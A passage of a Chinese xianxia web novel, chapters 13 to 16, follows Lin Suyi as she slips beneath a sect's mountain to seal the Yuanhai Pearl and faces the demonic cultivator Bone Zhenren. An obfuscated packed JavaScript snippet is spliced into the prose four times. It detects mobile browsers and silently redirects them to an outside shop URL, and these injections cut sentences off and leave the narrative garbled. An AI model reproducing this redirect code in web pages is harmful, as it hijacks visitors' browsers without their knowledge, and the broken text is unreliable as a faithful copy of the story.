造化弄人。 她走到窗边,推开一条缝。夜风涌入,带着竹叶的清香。 西南方向,主峰在夜色中如沉睡的巨人。山体深处,那件净尘遗物正静静躺在封印中,等待着重见天日——或被掠夺,或被守护。 三日后,开山大典。 她只有一晚时间决定。 后半夜,林素衣没有睡。她盘坐在床上,意识沉入灵珠,试图与器灵沟通。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980523|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “地底的核心,你了解多少?” 灵珠传来信息:那是“三十六泉眼大阵”的主阵眼之一,名为“源海珠”。千年前大战时,净尘宗掌门将其分离出来,本想作为宗门复兴的种子,却不料落入青玄门之手。 “源海珠与你是何关系?” “同源而生。我是子珠,它是母珠的分体之一。”灵珠回应,“若它被强行炼化,我会逐渐失去灵性,最终沦为凡物。” 果然如此。 “若我在上面留下印记,会如何?” “印记需是‘净尘真印’,只有身怀净尘传承者才能施展。一旦留下,源海珠将只认可净尘传人,任何外人都无法炼化。”灵珠顿了顿,“但风险极大。施展真印需要消耗本源灵力,以你现在的修为,可能伤及根基。且若被当场发现,必死无疑。” 代价与风险,都很大。 林素衣退出内视,望向窗外渐亮的天色。 晨光熹微,竹林轮廓渐渐清晰。 她想起前世。前世她是个地质研究员,常年在野外勘探,遇到过山洪、滑坡、野兽,甚至盗墓贼的枪口。每一次险境,她都会问自己:值得吗? 答案通常是:值得。因为她在追寻真理,在探索未知,在做自己认为对的事。 这一世呢? 修真之路,本就是逆天而行。若事事求稳,畏首畏尾,还修什么真?问什么道? 何况……她摸了摸胸口,那里有灵珠的温热,有井中生灵沉眠的气息。她们是一体的,她不能放弃她们。 当第一缕阳光刺破云层时,林素衣做出了决定。 她推开门,走到院子里。晨露打湿了她的布鞋,空气清冽如洗。 周嬷嬷正在厨房生火,见她起这么早,有些惊讶:“素衣,怎么不多睡会儿?” “嬷嬷,今天我想去藏书阁。”林素衣仰起小脸,“可以吗?” “这么用功?”周嬷嬷笑了,“去吧,记得午膳前回来。” “嗯。” 林素衣走向藏书阁。她需要查一些资料——关于开山大典的流程,关于青玄门地底结构的记载,关于……净尘真印的施展方法。 云华给了一晚时间考虑,但林素衣知道,在答应之前,她必须尽可能做好准备。 无论选择哪条路,信息都是最重要的武器。 藏书阁门口,她遇到了苏晴和李月。两个女孩也起得早,正准备去晨练。 “素衣,你也来借书?”苏晴热情地打招呼。 “嗯,想看看阵法基础。”林素衣随口道。 李月看了她一眼:“你最近好像对阵法特别感兴趣。” “觉得有趣。”林素衣笑笑,没有多言。 三个女孩一起走进藏书阁。阁内静谧,只有翻书声和脚步声。林素衣径直走向“宗门典籍”区,开始寻找关于开山大典的记载。 而她没有注意到,在藏书阁二楼的栏杆后,云华正静静俯视着她。 晨光透过窗棂,在云华月白的道袍上投下斑驳光影。 她手中握着一枚已经碎裂的玉佩——那是她师父留下的遗物,玉佩里封存着一道最后的讯息: “华儿,若将来遇到身怀净尘灵珠之人,定要护她周全。她,或许是我们最后的希望。” 云华收起玉佩,目光落在楼下那个小小的身影上。 “师父,您说的希望,就是她吗?” 声音轻得只有自己能听见。 而楼下,林素衣已经找到了需要的典籍。 她翻开书页,晨光落在泛黄的纸面上,照亮了那些古老的文字和图案。 开山大典的流程、地底禁地的入口、守卫换岗的时间…… 信息一点点汇集,计划在脑海中逐渐成形。 只是她不知道,这场即将开始的冒险,牵扯的远不止净尘宗的传承。 更深的暗流,已在青玄门地底涌动。 而在主峰最深处的封印中,那颗沉寂千年的源海珠,突然闪过一丝微不可察的蓝光。 像沉睡的巨兽,睁开了眼睛。 14. 三日之备 藏书阁的晨光里,林素衣找到了三本关键典籍。 第一本是《青玄门典仪录》,详细记载了开山大典的全套流程。大典将于三日后辰时开始,持续六个时辰,所有内外门弟子、执事、长老都需前往主峰广场观礼。届时,山门九成以上的守卫力量都会被调往主峰,包括地底禁地的轮值守卫——这是云华所说的“机会”。 第二本是《青玄山势图》,虽然只是公开版本,未标注禁地和密室,但清晰画出了主峰的地表建筑布局。林素衣用前世的制图知识在脑海中构建三维模型,发现主峰西南侧有一处标注为“旧库房”的建筑群,位置正好对应灵珠感应的方向。 第三本是《阵法基础·禁制篇》,里面提到了几种常见的封印禁制类型。其中“连环嵌套禁制”的描述,与云华所说的地底封印颇为相似——外层是青玄门的防护禁制,内层是净尘宗的原生封印。要进入内层,必须同时满足两个条件:持有青玄门通行令牌,以及身怀净尘传承之力。 “原来如此……”林素衣合上书页。云华能安排她进入地底,必定是能提供通行令牌。但内层的净尘封印,只能靠她自己。 她将书放回原处,走出藏书阁时已是午时。阳光刺眼,育道院的钟声恰好响起。 午膳后是修炼课,林素衣照常盘坐运转功法,心思却全在如何施展“净尘真印”上。据灵珠传递的信息,这门印记是净尘宗核心传承之一,需以精纯的水属性灵力在目标物上刻画九道基础符文,再以神识引导,构成一个微型的“净尘阵眼”。 听起来简单,实则极难。九道符文必须一气呵成,中间不能有丝毫停顿或差错,否则前功尽弃。且每刻画一道符文,都需要消耗大量本源灵力——这里的“本源”不是普通灵力,而是与灵魂绑定的生命精华。 以她炼气五层巅峰的修为,强行施展真印,很可能导致修为倒退,甚至伤及道基。 “必须找到提升成功率的办法。”林素衣思索。灵珠或许能提供一部分灵力支持,但远远不够。如果能找到水属性天材地宝补充消耗…… 她想起昨天用一滴水灵精粹兑换灵石的事。如果能凝聚更多精粹,在施展真印前服用,或许能撑过九道符文的消耗。 但这个想法很快被灵珠否决:水灵精粹的本质是高度浓缩的普通水灵气,与本源灵力有本质区别。就像用木头给钢铁熔炉添火,效果微乎其微。 “那什么才能补充本源?”林素衣问。 灵珠沉默良久,传来一个词:“同源之物。” 地底的源海珠。 原来如此。云华的计划看似冒险,实则环环相扣:林素衣潜入地底,在源海珠上留下净尘真印,而在施展真印的过程中,源海珠散逸的本源之力又能反哺她自身,形成一个短暂的良性循环。 “这是唯一的方法?”林素衣再问。 “是。”灵珠确认。 别无选择了。 当晚子时,云华如约而至。 依旧是隔音结界,依旧是月下窗前。这一次,林素衣主动开口:“我答应。但有几个条件。” 云华眼中闪过一丝赞许:“说。” “第一,我需要地底禁地的详细地图,包括守卫巡逻路线、换岗时间、机关陷阱位置。” “可以。” “第二,我需要知道施展净尘真印的全部细节和风险,不得有任何隐瞒。” “自然。” “第三,事成之后,你要教我净尘宗的完整传承——不仅仅是基础功法。” 云华微微挑眉:“你倒会讨价还价。” “风险与收益要对等。”林素衣平静道。 云华沉默片刻,点头:“好。但你必须通过我的考验——三日内,学会施展净尘真印的第一重。” “第一重?” “净尘真印分九重,对应九个境界。以你现在的修为,最多只能施展第一重,但这也够了。”云华从袖中取出一枚玉简,“这里面是真印第一重的修炼法门,以及地底禁地的地图和计划细节。三日后的子时,我会再来,检查你的进度。若通过,便按计划行事;若不通过……” 她没说完,但意思明确。 林素衣接过玉简,触手冰凉:“我会通过。” 云华不再多言,身形消散。 结界撤去,夜风重新涌入。 林素衣握着玉简回到床上,意识沉入其中。 浩瀚的信息涌入脑海: 地底禁地位于主峰地下三百丈深处,入口共有三处,分别在掌门大殿、藏经阁后山、以及……旧库房地下。云华安排的是第三条路——旧库房地下入口最隐蔽,守卫也最少,但机关陷阱最多。 守卫每两个时辰轮换一次,每次三人,皆是筑基初期修为。换岗时有三十息的空窗期,这便是潜入的机会。 而净尘真印第一重的修炼法门,比灵珠传递的信息更详细。原来九道基础符文不是随意排列,而是必须按照“天、地、人、水、火、风、雷、山、泽”的八卦顺序刻画,最后一道符文落下时,需引动一丝天地道韵,才能让真印真正生效。 “引动道韵?”林素衣蹙眉。这听起来就玄之又玄,别说炼气期,就是金丹期也未必能做到。 但玉简中提供了取巧之法:以自身精血为引,以净尘灵珠为媒,通过灵珠与源海珠的同源共鸣,模拟出道韵波动。代价是——三滴精血,以及灵珠三日的沉寂。 这意味着,施展真印后,她会陷入极度虚弱,灵珠也会暂时失去所有功能,连最基本的灵气转化都无法维持。 “真是玩命啊。”林素衣苦笑。 但事已至此,只能硬着头皮上。 接下来的三日,林素衣进入了疯狂的修炼状态。 白日里,她依旧是育道院的普通弟子,听课、修炼、与室友说笑。只有在无人注意的角落,她才会暗中练习真印符文的刻画——不是用灵力,而是用神识在虚空中勾勒,一遍又一遍。 第一道“天”字符文,她练了三十七次才勉强成形。 第二道“地”字符文,二十一次。 第三道“人”字符文,十五次…… 到第六日傍晚时,她已经能在三息内连续画出六道符文,且失误率降至一成以下。但最后三道符文——“山”“泽”“引”,始终无法流畅衔接。 “你的问题在于心念不纯。”夜深人静时,灵珠突然传来意念,“净尘真印的本质是‘以己心印天心’,需要绝对的专注和纯粹。你在刻画时,心中杂念太多——担心失败,担心暴露,担心后果。这些杂念会让符文失去灵性。” 林素衣怔住。灵珠说得对,她确实无法全心投入。这次行动的风险太大了,大到让她潜意识里一直在抗拒。 “如何做到心念纯粹?”她问。 “想清楚你为什么要做这件事。”灵珠道,“不是为了云华,不是为了净尘宗,甚至不是为了我。而是为了你自己——你的道,你的路,你的选择。只有当你真心认同这件事,并将其视为道途的一部分时,心念才会纯粹。” 林素衣沉默了。 她为什么要做这件事? 最初是为了保护灵珠,为了保护井中生灵。但更深层呢? 或许……是为了那份“不甘”。 不甘心净尘宗的道统就这样被掠夺,不甘心自己的传承要永远隐藏,不甘心这个修真界弱肉强食的规则。 她想变强,想掌控自己的命运,想在这条修真路上走出自己的道。 而这一次,就是她道心的第一次试炼。 想通了这一点,林素衣感觉心境豁然开朗。 她重新开始练习。这一次,她不再想着失败会怎样,不再想着被发现会怎样,只专注于符文本身——每一道弧线的优美,每一个节点的精准,每一次灵力的流转。 “天”字符文,成。 “地”字符文,成。 “人”字符文,成…… 当第九道“引”字符文落下时,九道符文在虚空中自然连接,构成一个完美的圆形阵图。阵图缓缓旋转,散发出淡蓝色的微光,虽无形质,却自有道韵流转。 成功了! 虽然不是真正的真印,但已经掌握了精髓。 第七日,开山大典前夜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980524|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林素衣将玉简中的所有信息都背得滚瓜烂熟。地底路线、守卫规律、机关破解法……甚至每一个转角处石壁的纹路,她都牢牢记住。 晚膳时,育道院的气氛明显不同。孩子们都在讨论明天的大典——据说会有内门弟子演法,长老讲道,还有新弟子入门仪式。所有人都很兴奋。 只有林素衣安静吃饭,心中默默复盘计划。 子时,她将跟随云华前往旧库房。云华会引开守卫,她有三刻钟时间潜入地底,找到源海珠,施展真印,然后原路返回。整个过程必须在寅时前完成,因为寅时是守卫换岗后的第一次全面巡查。 “素衣,你怎么不吃?”苏晴碰了碰她。 “有点紧张。”林素衣随口道。 “紧张什么呀,咱们又不用上台。”苏晴笑道,“就是去看热闹的。” 李月看了林素衣一眼:“你最近好像瘦了。” “修炼累的。”林素衣搪塞过去。 夜深,三个室友睡熟后,林素衣最后一次检查准备。 云华给的储物袋里,有三样东西:一张隐身符(能持续半个时辰)、一瓶回灵丹(三颗)、一枚青玄门内门弟子令牌(伪造的,但足以通过外层禁制)。 她将东西贴身收好,盘坐在床上,静待子时。 时间一点点流逝。 戌时、亥时、子时…… 当育道院的更漏指向子时整时,窗无声开了。 云华站在窗外,依旧是一身月白道袍,但今夜她腰间多了一柄剑。 “准备好了?”她问。 林素衣点头,翻身下床。 云华抓住她的手腕,身形一晃,两人便消失在夜色中。 御风而行。 这是林素衣第一次体验飞行——不是飞舟,而是纯粹的御风术。云华的速度极快,夜风在耳边呼啸,下方的建筑飞速后退。 不到半刻钟,她们落在了一片荒废的建筑群前。 月光下,几十栋破旧的库房静静矗立,瓦片残破,门窗腐朽。这里显然已废弃多年,连杂草都长了半人高。 “入口在第三栋库房的地下室。”云华低声道,“记住,进去后一切按计划行事。若遇到意外……优先自保。” 林素衣点头。 两人悄无声息地潜入第三栋库房。屋内堆满了破烂的货架和箱子,灰尘积了厚厚一层。云华走到墙角,在一块地砖上轻轻一按。 “咔嗒”一声轻响,地砖下沉,露出一个向下的阶梯。 阶梯深不见底,黑暗如墨。 云华点燃一枚荧光石,蓝白色的光芒照亮了前方:“跟紧我。” 两人一前一后走下阶梯。 约莫下了百级台阶,前方出现一道石门。门上刻着青玄门的云纹标志,以及复杂的禁制符文。 云华取出自己的长老令牌,按在门上的凹槽中。 符文亮起,石门无声滑开。 门后是一条长长的甬道,两侧石壁上镶嵌着发光的萤石。甬道尽头隐约可见另一道门。 “外层禁制已过,接下来的路要靠你自己了。”云华停下脚步,“我会在这里等你一个时辰。若一个时辰后你未返回……” 她没说完,但林素衣懂。 “我会回来的。”林素衣深吸一口气,走向甬道深处。 当她走到第二道门前时,回头看了一眼。 云华站在原处,月光般的荧光石照亮她半张脸。那一刻,林素衣突然觉得,这个看似冷漠的女人,眼中似乎藏着一丝……愧疚? 来不及细想,门已自动开启。 更深的黑暗,扑面而来。 而就在林素衣踏入黑暗的瞬间,地底三百丈深处,那颗沉寂了千年的源海珠,突然剧烈震颤起来。 蓝光如潮水般涌出,照亮了整个封印空间。 珠子表面,浮现出一张模糊的人脸。 那人脸睁开了眼睛,目光穿透层层岩石和禁制,直直“看”向正在下行的林素衣。 一个古老而虚弱的声音,在她脑海中响起: “你终于……来了……” 15. 源海之音 那声音古老、虚弱,却又带着难以言喻的威严,如深海涌浪般在脑海中回荡。 林素衣脚步一顿,手按在冰冷的石壁上。黑暗中,只有荧光石照亮前方三尺,甬道深处一片漆黑,但声音的来源清晰无比——正是地底三百丈,那颗源海珠。 “你能听见我?”她用意念回应。 “净尘灵珠在你体内……我自然能感应。”声音缓慢,像是在适应千年未用的语言,“你身上……有净尘真经的气息……还有……云华那孩子的印记。” 云华?林素衣心中微动:“你认识云华前辈?” “她师父……是我最后的主人。”源海珠的声音带着一丝悲凉,“千年了……我终于等到了……新的传承者。” 林素衣继续向下走。石阶盘旋向下,越走越深,空气变得潮湿阴冷,石壁渗出细密的水珠。她能感觉到,每下一阶,灵珠的共鸣就强烈一分。 “云华让我来为你留下净尘真印,防止青玄门炼化你。”她传递意念。 “我知道……她这些年……一直在想办法保护我。”源海珠顿了顿,“但她不知道……真正危险的不是青玄门……” “那是什么?” “是封印本身。”源海珠的声音突然凝重,“千年前,净尘宗覆灭时,掌门将我分离出来,设下三重封印。第一重是防护,第二重是隐藏,第三重……是自毁。” 自毁?林素衣心中一紧。 “第三重封印被触发了。”源海珠道,“不是现在……是五十年前。青玄门一位阵法宗师试图破解封印时,无意中激活了自毁程序。虽然他们及时停止,但封印已经开始缓慢崩解。按照现在的速度……最多三年,我就会彻底湮灭。” 林素衣停下脚步,已到了甬道尽头。前方是一面巨大的石墙,墙上刻满密密麻麻的符文,中央有个手掌形的凹槽——那是验证通行令牌的地方。 她取出云华给的令牌,按了上去。 符文亮起蓝光,石墙无声滑开。 门后,是一个巨大的地下空间。 穹顶高约十丈,镶嵌着数百颗夜明珠,将整个空间照得如同白昼。地面是整块的青玉石板,刻着复杂的阵法纹路。空间正中,悬浮着一颗拳头大小的蓝色珠子——正是源海珠。 但与林素衣想象的不同,珠子表面布满了细密的裂纹,裂纹中不断渗出淡蓝色的光雾,消散在空气中。每消散一丝,珠子的光芒就黯淡一分。 “看到了吗?”源海珠的声音直接在空间中响起,“我的时间……不多了。” 林素衣走近。距离珠子三丈时,她感到一股强大的排斥力——是青玄门布置的防护禁制。她运起净尘真经,体内灵珠光芒微放,那股排斥力顿时减弱。 “你是千年来……第一个能靠近我三丈之内的人。”源海珠的声音带着欣慰,“云华做不到……青玄门的那些老家伙也做不到。只有身怀净尘灵珠,修炼净尘真经者,才能突破这层禁制。” 林素衣走到珠子前一丈处,停下:“你说真正危险的不是青玄门,那是什么?” 源海珠沉默片刻,珠身的光芒突然变化,在空中投射出一幅画面。 画面中是一片废墟,断壁残垣,焦土千里。废墟上空,悬浮着几道模糊的身影,他们正联手施展某种法术,将废墟中残存的灵气抽离、炼化。 “这是……净尘宗遗址?”林素衣问。 “是覆灭后的第三年。”源海珠声音沉痛,“那些人……来自不同的宗门,其中就有青玄门。他们抽离的不仅是灵气,还有净尘宗万年积累的‘道韵根基’。道韵被夺,传承断绝,这才是净尘宗真正覆灭的原因。” 画面变换,那些模糊身影将抽离的道韵分成数份,各自带走。 “青玄门得到的那份,就封印在这座山下。”源海珠道,“但他们不知道,那份道韵中……藏着净尘宗最后的意志。” “意志?” “复仇的意志。”源海珠的光芒骤然变得刺目,“当自毁封印彻底崩解时,这份意志会爆发,将整座青玄山脉……化为废墟。” 林素衣倒吸一口凉气。这才是真正的危机——不是源海珠被炼化,而是它自毁时引发的道韵爆发! “云华不知道?”她急问。 “不知道。她师父临终前……只来得及告诉她保护我,没来得及说第三重封印的事。”源海珠叹息,“所以她的计划从一开始就是错的。留下净尘真印,只会加速自毁封印的崩解。” “那该怎么办?” 源海珠的光芒缓缓收敛:“只有一个办法……在我彻底崩解前,将我炼化。” “炼化?可你刚才说……” “不是普通的炼化。”源海珠打断她,“是以净尘真经为引,以净尘灵珠为媒介,将我融入你的体内。这样不仅能保住我的灵性,也能化解道韵爆发的危机。但……” “但什么?” “但你现在的修为太弱了。”源海珠直言,“炼化我需要至少筑基期的灵力总量,以及对水之大道的初步领悟。你才炼气五层……成功的可能性不足一成。一旦失败,你会被我的本源之力撑爆,魂飞魄散。” 林素衣沉默。风险太大了,比云华的计划还要危险百倍。 “还有别的办法吗?”她问。 “有。”源海珠道,“你可以现在离开,当作什么都不知道。三年后,当自毁封印彻底崩解时,你已经离开青玄门,道韵爆发伤不到你。只是……这山中数千弟子,还有山下凡人城镇,都将为我陪葬。” 这是赤裸裸的道德绑架。 林素衣看着那颗布满裂纹的珠子,心中天人交战。离开,她能活,但会有无数人因她而死。留下尝试炼化,九死一生。 “如果你是我,会怎么选?”她突然问。 源海珠沉默良久,缓缓道:“千年前……我的主人在最后关头,选择将我分离出来,为净尘宗留下一线希望。她本可以带着我逃走,但她选择了留下,与宗门共存亡。” “为什么?” “因为有些事……比生死更重要。”源海珠的声音里带着千年未散的眷念,“道统、传承、责任……还有对那些信任你、依赖你之人的承诺。” 林素衣想起育道院的孩子们,想起周嬷嬷和善的笑脸,想起苏晴、李月、小豆芽……甚至想起玄诚子,那个看似冷漠却给了她机会的长老。 这些人,都将在三年后的道韵爆发中死去。 而她,是唯一能阻止这一切的人。 “我需要怎么做?”她终于开口。 源海珠的光芒变得柔和:“你确定?一旦开始,就无法回头。” “确定。” “好。”源海珠的声音严肃起来,“炼化分三步:第一步,以净尘真印暂时稳定我的灵体,延缓崩解;第二步,将你的神识与我的核心融合,建立初步联系;第三步,在我灵体最稳定的瞬间,以灵珠为引,将我收入体内温养。整个过程需要十二个时辰,期间不能有丝毫中断。” “十二个时辰?”林素衣蹙眉,“云华只给我三刻钟时间。” “所以你需要骗过她。”源海珠道,“告诉她真印已经留下,但需要时间生效。我会配合你,伪装出真印起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“第八锁,山字印,破!” “第九锁,泽字印……破!” 最后一道锁链崩断的瞬间,九道锁链同时化为光点消散。源海珠表面的裂纹以肉眼可见的速度愈合了三成,光芒也变得稳定许多。 而林素衣瘫倒在地,大口喘气。她感到丹田剧痛,经脉如被火燎,灵力几乎枯竭。 “成功了……”源海珠的声音充满欣慰,“现在,开始第一步——稳定灵体。” 珠子缓缓飘到林素衣面前,悬浮在她眉心三寸处。 “将你的神识……探入我的核心。” 林素衣闭上眼睛,一缕神识缓缓探出,触向源海珠。 就在神识即将接触珠子的刹那—— “轰!” 整个地下空间剧烈震动! 石壁崩裂,夜明珠纷纷坠落,地面阵法纹路寸寸断裂。 一个冰冷的声音从四面八方传来: “果然……你们净尘宗的余孽……还是来了。” 林素衣猛然睁眼。 只见空间入口处,不知何时站着三个人。 为首的是个黑袍老者,面容枯槁,眼窝深陷,手中握着一根白骨杖。他身后跟着两个中年修士,皆着青玄门长老服饰,但眼神空洞,显然已被控制。 老者目光落在林素衣身上,咧嘴一笑,露出满口黄牙: “等了五十年……终于等到正主了。” 16. 地底对峙 黑袍老者的笑声在空旷的地下空间回荡,干哑如枯木摩擦。 他一步步走近,白骨杖敲击在青玉石板上,发出“笃、笃”的闷响,每一声都像敲在林素衣的心口。那两名被控制的青玄门长老跟在他身后,步伐僵硬,眼神空洞如傀儡。 林素衣强撑着站起,背靠石壁,手悄悄探入储物袋,捏住了隐身符和回灵丹。但她知道,在绝对的实力差距面前,这些小伎俩毫无意义——这老者给她的压迫感,甚至超过玄诚子,至少是金丹期! “净尘灵珠……还有源海珠……”老者浑浊的眼睛在两者间来回扫视,眼中贪婪几乎化为实质,“真是天助我也。五十年前没能破解的封印,今日竟然有人主动为我打开。” 他停在源海珠前五丈处,白骨杖抬起,杖尖对准珠子:“小家伙,看在你帮我解开净尘锁的份上,老夫可以给你个痛快。” 林素衣脑中飞速运转。这老者显然早就潜伏在此,一直等到她破解锁链、最虚弱时才现身。他能避开云华的感知,还能控制青玄门长老,身份绝不简单。 “前辈是谁?”她开口,声音因虚弱而沙哑,“为何要夺源海珠?” “老夫?”老者咧嘴,“你可以叫我‘骨真人’。至于为何要夺源海珠……”他眼中闪过一丝阴冷,“自然是完成五十年前未竟之事——抽干净尘宗最后的道韵,炼成我的‘万骨噬魂幡’!” 万骨噬魂幡!林素衣心中一寒。这是魔道中臭名昭著的法器,以生灵精魂为祭,道韵为引,炼制过程残忍至极。若让他得逞,不仅源海珠不保,青玄山脉也会成为炼魂场! “你是魔修!”她咬牙道。 “魔?道?”骨真人嗤笑,“这世间,只有强弱,哪来正邪?当年围攻净尘宗的所谓正道宗门,杀人夺宝时可比我狠多了。” 他不再废话,白骨杖一挥,一道黑气如毒蛇般射向源海珠! “住手!”林素衣想阻拦,但灵力枯竭,根本来不及。 就在黑气即将击中源海珠的瞬间,珠子突然爆发出刺目的蓝光! 光芒中,一道水蓝色的屏障凭空出现,挡在黑气前。黑气撞上屏障,发出“滋滋”的腐蚀声,却无法穿透。 “垂死挣扎。”骨真人冷哼,加大灵力输出。黑气瞬间粗了三倍,屏障开始剧烈晃动。 源海珠传来急促的意念:“我撑不了多久……快,用净尘真印的第二重!” “第二重?我只会第一重!”林素衣急道。 “我传你口诀,你跟着念!”源海珠将一段复杂的法诀直接印入她脑海,“但以你现在的状态,施展第二重真印会耗尽所有生命精华……你可能……” “会死?”林素衣苦笑,“那也比让这魔头得逞强!” 她盘坐下来,无视逼近的骨真人,开始运转法诀。净尘真经在体内强行催动,本就干涸的经脉再次被灵力冲刷,剧痛如千万钢针穿刺。 “天、地、人、水、火、风、雷、山、泽……九印归一,净尘封魔!”她双手结印,口中念诵法诀。 每念一个字,她脸色就苍白一分,头发以肉眼可见的速度失去光泽。到“泽”字时,她七窍开始渗血,皮肤出现细密的皱纹——这是生命精华急速流失的征兆! “找死!”骨真人察觉到异常,白骨杖转向,一道更粗的黑气射向林素衣! 就在黑气即将击中她的刹那,九道金色符文突然从她体内飞出,在空中组成一个巨大的金色法阵。法阵旋转,将黑气牢牢挡在外围。 “净尘封魔印?!”骨真人脸色大变,“你怎么会这个!这是净尘宗核心禁术,非元婴期不可施展!” 林素衣没有回答——她已经说不出话了。全部心神都集中在法诀的最后一步:“印……成!” 金色法阵光芒大盛,化作一道金光,无视所有防御,直接没入源海珠! 珠子剧烈震颤,表面的裂纹以惊人的速度愈合。与此同时,一股浩瀚的蓝色光柱从珠内冲天而起,穿透地下空间,直冲云霄! “不——!”骨真人惊恐后退。他感应到,那股光柱中蕴含的,是纯净到极致的净尘道韵,正是魔功的克星! 光柱持续了三息,缓缓收敛。源海珠悬浮在空中,通体晶莹如深海之眼,裂纹完全消失,散发着稳定而强大的气息。 而林素衣瘫倒在地,气息微弱如风中残烛。她的头发全白了,皮肤布满皱纹,看起来像个垂死的老妪。净尘灵珠在她丹田内疯狂旋转,试图稳住她的生命本源,但损伤实在太重。 “小丫头……你竟敢……”骨真人又惊又怒,但眼中贪婪更盛——源海珠被完全激活,价值比之前高了十倍!只要夺到手,付出任何代价都值得! 他不再保留,白骨杖重重顿地:“万骨大阵,起!” 地下空间四角,突然升起四根白骨柱。柱子表面刻满扭曲的符文,散发出浓郁的死亡气息。这些柱子显然早就埋设在此,只是此刻才被激活。 “老夫潜伏五十年,等的就是今天!”骨真人狂笑,“这四根‘噬魂骨柱’,是用你们净尘宗当年战死弟子的骸骨炼成!今日,就用你们宗门的最后遗物,来祭炼源海珠!” 四根骨柱同时射出血光,在空中交织成一张血色大网,将源海珠笼罩。珠子被血网束缚,光芒开始变得晦暗。 “不……不能……”林素衣想爬起来,却连手指都动不了。 源海珠传来痛苦的波动:“他在用净尘弟子的怨念污染我……一旦成功,我会彻底堕入魔道……那时,自毁封印会提前爆发……” “怎么办……”林素衣绝望了。她已经油尽灯枯,连云华给的隐身符都无力激发。 就在此时—— “咔嚓!” 地下空间入口的石门,突然被一道剑气劈开! 月光倾泻而入,映出一个持剑的身影。 云华! 她站在门口,月白道袍染血,手中长剑嗡鸣。显然一路杀进来,经历了不少战斗。 “骨老魔!”云华眼中寒光如剑,“五十年前让你逃了,今日还敢来!” 骨真人转身,看到云华,非但不惊,反而狞笑:“云华小丫头,你来得正好。当年你师父坏我好事,今日就拿你祭旗!” 他白骨杖一指,两名被控制的青玄门长老立刻扑向云华。 云华冷哼一声,长剑挥出,剑光如水银泻地。那两个长老虽然被控制,但本身修为只有筑基中期,在云华金丹期的剑下,三招就被制伏,软倒在地。 “就凭这两个废物?”云华持剑走向骨真人。 “当然不止。”骨真人阴笑,白骨杖再次顿地。 地下空间突然剧烈震动,地面裂开数道缝隙,从中爬出十几具骷髅!这些骷髅身披残破的净尘宗道袍,眼眶中跳动着幽绿的魂火,正是骨真人用净尘弟子骸骨炼制的骷髅兵! “你竟敢亵渎我宗门前辈遗骨!”云华眼中杀意暴涨,剑势陡然凌厉。 她一人一剑,杀入骷髅群中。剑光所过之处,骷髅纷纷碎裂,但碎骨落地后又重新组合,仿佛不死不灭。 “没用的。”骨真人得意道,“这些骷髅被我以‘万魂噬心术’祭炼,只要我不死,它们就能无限重生。云华,你就慢慢耗吧,等我炼化源海珠,再来收拾你。” 他专心操控血网,加快炼化速度。源海珠的光芒越来越暗,表面开始浮现血丝。 林素衣趴在地上,眼睁睁看着一切,却无能为力。她能感觉到,自己和源海珠的联系正在被强行切断,一旦完全断开,炼化就不可逆转。 “灵珠……还有办法吗……”她在心中默问。 丹田内的净尘灵珠传来微弱的回应:“还有一个办法……但需要你……放弃肉身……” “放弃肉身?” “我将你的神魂吸入灵珠,你以神魂状态进入源海珠内部,从内部破坏血网。”灵珠解释,“但这样做的风险极大——你的神魂若在源海珠内被血网污染,会魂飞魄散。就算成功,失去肉身的你,也只能以灵体状态存在,除非找到新的身体,否则……” 否则就是孤魂野鬼。 林素衣看着苦苦支撑的云华,看着逐渐被污染的源海珠,看着狂笑的骨真人。 她没有犹豫。 “来吧。” 灵珠光芒一闪,一道吸力从丹田传出。林素衣感到自己的意识被抽离,视线模糊,最后看到的,是自己那具白发苍苍、生机断绝的肉身。 下一瞬,她“醒”来,发现自己身处一片蓝色的海洋。 不,不是海洋,是源海珠的内部空间。这里充满纯净的水灵气,但此刻,四周的蓝色正被血色侵染,像墨水污染清泉。 前方,血网的根源——一个由怨念和魔气凝结的黑色核心,正不断释放污染。 林素衣以神魂状态飘过去。没有肉身束缚,她感觉前所未有的轻盈,但也无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“除非用‘净尘转生术’。”源海珠缓缓道,“但此术需要至少元婴期的修为,以及一滴‘净尘圣水’……” 云华沉默。她只是金丹中期,净尘圣水更是传说中的神物,千年未现世。 “还有一个办法。”源海珠又道,“将她暂时封印在珠内,待日后找到圣水,再行复活。但在此期间,她的神魂会陷入沉眠,不知何时能醒……” 云华看着林素衣苍老的容颜,又看看晶莹的源海珠,眼中闪过决然。 她咬破指尖,以血为墨,在空中刻画一个复杂的封印阵图。 